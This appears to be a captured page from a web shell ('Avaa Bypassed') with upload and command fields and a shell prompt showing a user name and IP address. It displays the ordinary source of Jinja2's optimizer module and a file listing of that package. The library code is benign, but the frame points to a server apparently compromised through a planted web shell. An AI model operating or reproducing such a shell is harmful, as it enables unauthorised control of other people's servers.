404

[ Avaa Bypassed ]




Upload:

Command:

elspacio@18.222.120.124: ~ $
"""The optimizer tries to constant fold expressions and modify the AST
in place so that it should be faster to evaluate.

Because the AST does not contain all the scoping information and the
compiler has to find that out, we cannot do all the optimizations we
want. For example, loop unrolling doesn't work because unrolled loops
would have a different scope. The solution would be a second syntax tree
that stored the scoping rules.
"""
import typing as t

from . import nodes
from .visitor import NodeTransformer

if t.TYPE_CHECKING:
    from .environment import Environment


def optimize(node: nodes.Node, environment: "Environment") -> nodes.Node:
    """The context hint can be used to perform an static optimization
    based on the context given."""
    optimizer = Optimizer(environment)
    return t.cast(nodes.Node, optimizer.visit(node))


class Optimizer(NodeTransformer):
    def __init__(self, environment: "t.Optional[Environment]") -> None:
        self.environment = environment

    def generic_visit(
        self, node: nodes.Node, *args: t.Any, **kwargs: t.Any
    ) -> nodes.Node:
        node = super().generic_visit(node, *args, **kwargs)

        # Do constant folding. Some other nodes besides Expr have
        # as_const, but folding them causes errors later on.
        if isinstance(node, nodes.Expr):
            try:
                return nodes.Const.from_untrusted(
                    node.as_const(args[0] if args else None),
                    lineno=node.lineno,
                    environment=self.environment,
                )
            except nodes.Impossible:
                pass

        return node

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 2.15 KB 0644
_identifier.py File 1.73 KB 0644
async_utils.py File 1.9 KB 0644
bccache.py File 12.37 KB 0644
compiler.py File 70.52 KB 0644
constants.py File 1.4 KB 0644
debug.py File 8.29 KB 0644
defaults.py File 1.24 KB 0644
environment.py File 59.55 KB 0644
exceptions.py File 4.95 KB 0644
ext.py File 31.37 KB 0644
filters.py File 51.38 KB 0644
idtracking.py File 10.47 KB 0644
lexer.py File 29.23 KB 0644
loaders.py File 22.22 KB 0644
meta.py File 4.29 KB 0644
nativetypes.py File 3.88 KB 0644
nodes.py File 33.74 KB 0644
optimizer.py File 1.61 KB 0644
parser.py File 38.83 KB 0644
py.typed File 0 B 0644
runtime.py File 34.23 KB 0644
sandbox.py File 14.26 KB 0644
tests.py File 5.77 KB 0644
utils.py File 26.34 KB 0644
visitor.py File 3.49 KB 0644